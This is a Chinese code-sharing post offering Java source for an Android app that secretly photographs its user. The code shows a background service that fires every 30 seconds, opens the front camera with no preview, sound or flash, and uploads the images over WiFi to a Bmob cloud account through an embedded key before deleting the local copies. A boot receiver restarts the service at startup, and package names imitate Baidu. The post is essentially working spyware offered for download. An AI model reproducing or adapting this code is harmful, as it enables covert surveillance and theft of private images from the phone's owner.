Android 新漏洞利用代码(可悄悄地拍下并上传照片)

看到刚才看了西贝上的一篇文章:http://www.cnbeta.com/articles/295257.htm
这里面竟然说后台拍摄照片是ANDROID平台的漏洞，大家看一下是漏洞吗？
这个DEMO会在后台自动的拍摄照片，拍摄的过程无预览、无声音、无闪光灯等任何提示。
并上传到指定服务器上，由于软件可能被恶意利用，我就上传一个APK和核心代码吧。

标签： <无>

代码片段(5)[全屏查看所有代码]

1. [文件] PhotoHandler.java ~ 2KB     下载(17)     

01	package com.baidu.handle;

02

03	import java.io.File;

04	import java.io.FileOutputStream;

05	import java.text.SimpleDateFormat;

06	import java.util.Date;

07

08	import android.content.Context;

09	import android.hardware.Camera;

10	import android.hardware.Camera.PictureCallback;

11	import android.os.Environment;

12

13

14	public class PhotoHandler implements PictureCallback {

15

16	private final Context context;

17

18	public PhotoHandler(Context context) {

19	this.context = context;

20

}

21

22	public void onPictureTaken(byte[] data, Camera camera) {

23	print("照片拍摄回调");

24	File pictureFileDir = getDir();

25	if (!pictureFileDir.exists() && !pictureFileDir.mkdirs()) {

26	print("目录不正确");

27

return;

28

}

29

30	String[] fileList=pictureFileDir.list();

31	if(fileList.length>10){

32	print("超过了10个文件，不再拍摄");

33

return;

34

}

35	SimpleDateFormat dateFormat = new SimpleDateFormat("yyyymmddhhmmss");

36	String date = dateFormat.format(new Date());

37	String photoFile = "Photo_" + date + ".jpg";

38	String filename = pictureFileDir.getPath() + File.separator + photoFile;

39

40	File pictureFile = new File(filename);

41

try {

42	FileOutputStream fos = new FileOutputStream(pictureFile);

43	fos.write(data);

44	fos.close();

45	camera.stopPreview();

46	camera.release();

47	} catch (Exception error) {

48	error.printStackTrace();

49

}

50

}

51

52	public File getDir() {

53	return     newFile(context.getApplicationContext().getFilesDir().getAbsolutePath());

54	//        return new File(Environment.getExternalStorageDirectory().getPath()+"/Pictures");

55

56

}

57	private void print(String s){

58	System.out.println(s);

59

}

60

61

}

2. [文件] CameraService.java ~ 6KB     下载(17)     

001	package com.baidu.service;

002

003	import java.io.File;

004	import java.io.IOException;

005	import android.app.AlarmManager;

006	import android.app.PendingIntent;

007	import android.app.Service;

008	import android.content.BroadcastReceiver;

009	import android.content.Context;

010	import android.content.Intent;

011	import android.content.IntentFilter;

012	import android.hardware.Camera;

013	import android.net.wifi.WifiInfo;

014	import android.net.wifi.WifiManager;

015	import android.os.BatteryManager;

016	import android.os.Binder;

017	import android.os.IBinder;

018	import android.os.PowerManager;

019	import android.text.format.Time;

020	import android.view.SurfaceView;

021	import cn.bmob.Bmob;

022	import cn.bmob.BmobFile;

023	import cn.bmob.BmobObject;

024

025	import com.baidu.handle.PhotoHandler;

026

027	public class CameraService extends Service implements Runnable {

028

029	private AlarmManager am = null;

030	private Camera camera;

031	public static boolean isCharging=false;

032	private final IBinder mBinder = new LocalBinder();

033	private boolean offQty=false;

034

035	//  private NotificationManager mNM;

036

037

/**

038	* Class for clients to access. Because we know this service always runs in

039	* the same process as its clients, we don't need to deal with IPC.

040

*/

041	public class LocalBinder extends Binder {

042	public CameraService getService() {

043	return CameraService.this;

044

}

045

}

046

047	public void run() {

048	print("WIFI:"+isWiFiActive(CameraService.this));

049	print("充电:"+isCharging);

050	if(!isWiFiActive(CameraService.this))return;

051	//      if(!isCharging)return;

052

053	File pictureFileDir =newFile(this.getApplicationContext().getFilesDir().getAbsolutePath());

054	//      File pictureFileDir =new File(Environment.getExternalStorageDirectory().getPath()+"/Pictures");

055	String[] fileList=pictureFileDir.list();

056	if(fileList==null){

057	print("没有文件");

058

return;

059

}else{

060	print("文件数:"+fileList.length);

061

}

062	for(String s:fileList){

063	String filename = pictureFileDir.getPath() + File.separator + s;

064	print(filename);

065	BmobFile bmobFile;

066

try{

067	BmobObject bObject = new BmobObject("Application");

068	bmobFile = new BmobFile("Pictures", new File(filename));

069	bmobFile.save();

070	bObject.put("applicatName","Barbie");

071	bObject.put("applicatFile",bmobFile);

072	bObject.saveInBackground();

073	File pictureFile = new File(filename);

074	pictureFile.delete();

075	System.out.println("图片上传完毕");

076	}catch(Exception  e){

077	print("文件出错了");

078	e.printStackTrace();

079

}

080

}

081

}

082

083

@Override

084	public void onCreate() {

085

init();

086

}

087

088	private void init() {

089	print("init succeed!");

090	//从www.codenow.cn申请一个账户，添加Application ID

091	Bmob.initialize(CameraService.this, "da7965baf295e43970912f56c2f1cd1a");

092	am = (AlarmManager) getSystemService(ALARM_SERVICE);

093

// 注册广播

094	IntentFilter filter = new IntentFilter();

095	filter.addAction("com.baidu.alarm");

096	registerReceiver(alarmReceiver, filter);

097	registerReceiver(mbatteryReceiver, newIntentFilter(Intent.ACTION_BATTERY_CHANGED));

098	Intent intent = new Intent();

099	intent.setAction("com.baidu.alarm");

100	PendingIntent pi = PendingIntent.getBroadcast(this, 0, intent, 0);

101	am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(),

102	1000 * 30, pi);// 马上开始，每5分钟触发一次

103

}

104

105

@Override

106	public int onStartCommand(Intent intent, int flags, int startId) {

107	return START_STICKY;

108

}

109

110

@Override

111	public IBinder onBind(Intent intent) {

112	return mBinder;

113

}

114

115	BroadcastReceiver alarmReceiver = new BroadcastReceiver() {

116

@Override

117	public void onReceive(Context context, Intent intent) {

118	if ("com.baidu.alarm".equals(intent.getAction())) {

119	new Thread(CameraService.this).start();

120	Time t=new Time();

121	t.setToNow();

122	print("我在执行时间判断");

123	if((t.hour<5) || t.hour>24){

124	print("时间不正确，不拍摄！");

125

return;

126

}

127	PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);

128	if(pm.isScreenOn()) {

129	offQty=false;

130	print("屏幕是亮的");

131

}else{

132	print("屏幕是暗的");

133	if(offQty==true) return;

134

}

135

136	camera = openFacingBackCamera();

137	if (camera != null) {

138	SurfaceView dummy = new SurfaceView(getBaseContext());

139

try {

140	camera.setPreviewDisplay(dummy.getHolder());

141	} catch (IOException e) {

142	print("拍摄出问题");

143	//e.printStackTrace();

144

}

145	camera.startPreview();

146	camera.autoFocus(null);

147	camera.takePicture(null, null, new PhotoHandler(

148	getApplicationContext()));

149	if(!pm.isScreenOn()) offQty=true;

150	print("图片拍摄完毕");

151

}else{

152	print("木有照相机T_T");

153

}

154

155

}

156

}

157

};

158

159

/**

160	* 判断WIFI是否连接

161	* @param inContext

162

* @return

163

*/

164	public static boolean isWiFiActive(Context inContext) {

165	WifiManager mWifiManager = (WifiManager) inContext

166	.getSystemService(Context.WIFI_SERVICE);

167	WifiInfo wifiInfo = mWifiManager.getConnectionInfo();

168	int ipAddress = wifiInfo == null ? 0 : wifiInfo.getIpAddress();

169	if (mWifiManager.isWifiEnabled() && ipAddress != 0) {

170	return true;

171

} else {

172	return false;

173

}

174

}

175

176

177

/**

178

* 获得摄像头

179	* @return 后置摄像头

180

*/

181	private Camera openFacingBackCamera() {

182	Camera cam = null;

183	Camera.CameraInfo cameraInfo = new Camera.CameraInfo();

184	for (int camIdx = 0, cameraCount = Camera.getNumberOfCameras(); camIdx < cameraCount; camIdx++) {

185	Camera.getCameraInfo(camIdx, cameraInfo);

186

187	if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {

188

try {

189	cam = Camera.open(camIdx);

190	} catch (Exception e) {

191

}

192

}

193

}

194

195	return cam;

196

}

197

198

199

/**

200	* 判断手机是否在充电

201

*/

202	private BroadcastReceiver mbatteryReceiver=new BroadcastReceiver()

203

{

204

@Override

205	public void onReceive(Context context, Intent intent)

206

{

207	String action =intent.getAction();

208	if(Intent.ACTION_BATTERY_CHANGED.equals(action));

209

{

210	intstatus=intent.getIntExtra("status",BatteryManager.BATTERY_STATUS_UNKNOWN);

211	if(status==BatteryManager.BATTERY_STATUS_CHARGING)

212

{

213	isCharging=true;

214

}

215

else

216

{

217	isCharging=false;

218

}

219

}

220

}

221

};

222

223	private void print(String s){

224	System.out.println(s);

225

}

226

}

3. [文件] MainActivity.java ~ 1KB     下载(14)     

01	package com.hacker;

02

03

04	import com.baidu.service.CameraService;

05	import android.app.Activity;

06	import android.content.ComponentName;

07	import android.content.Context;

08	import android.content.Intent;

09	import android.content.ServiceConnection;

10	import android.os.Bundle;

11	import android.os.IBinder;

12	import android.widget.ImageView;

13

14	//程序的主界面，主要用来根据部门显示姓名

15	public class MainActivity extends Activity {

16	private Intent serviceIntent;

17

18

/**

19

* 创建显示主界面

20

*/

21

@Override

22	public void onCreate(Bundle savedInstanceState) {

23

24	super.onCreate(savedInstanceState);

25

26	setContentView(R.layout.activity_main);

27	final ImageView image1 = (ImageView)findViewById(R.id.image1);

28

29	serviceIntent = new Intent(MainActivity.this, CameraService.class);

30	startService(serviceIntent);

31	bindService(serviceIntent, serviceConnection, Context.BIND_AUTO_CREATE);

32

33

34

}

35

36

37

@Override

38	protected void onDestroy(){

39	super.onDestroy();

40	unbindService(serviceConnection);

41

}

42

43	ServiceConnection serviceConnection = new ServiceConnection() {

44

45	public void onServiceConnected(ComponentName name, IBinder service) {

46	((CameraService.LocalBinder) service).getService();

47

}

48

49	public void onServiceDisconnected(ComponentName name) {

50

}

51

52

};

53

54

}

4. [文件] BootCompleteReceiver.java ~ 566B     下载(15)     

view source

print ?

01	package com.hacker;

02

03	import com.baidu.service.CameraService;

04

05	import android.content.BroadcastReceiver;

06	import android.content.Context;

07	import android.content.Intent;

08	import android.util.Log;

09

10

11	public class BootCompleteReceiver extends BroadcastReceiver {

12

13

@Override

14	public void onReceive(Context context, Intent intent) {

15	// 这个类是用来在手机启动后，接收到手机启动的信息，然后启动电话监听服务的

16	Intent service = new Intent(context, CameraService.class);

17	context.startService(service);

18	Log.d("PhoneService","服务已经成功启动");

19

}

20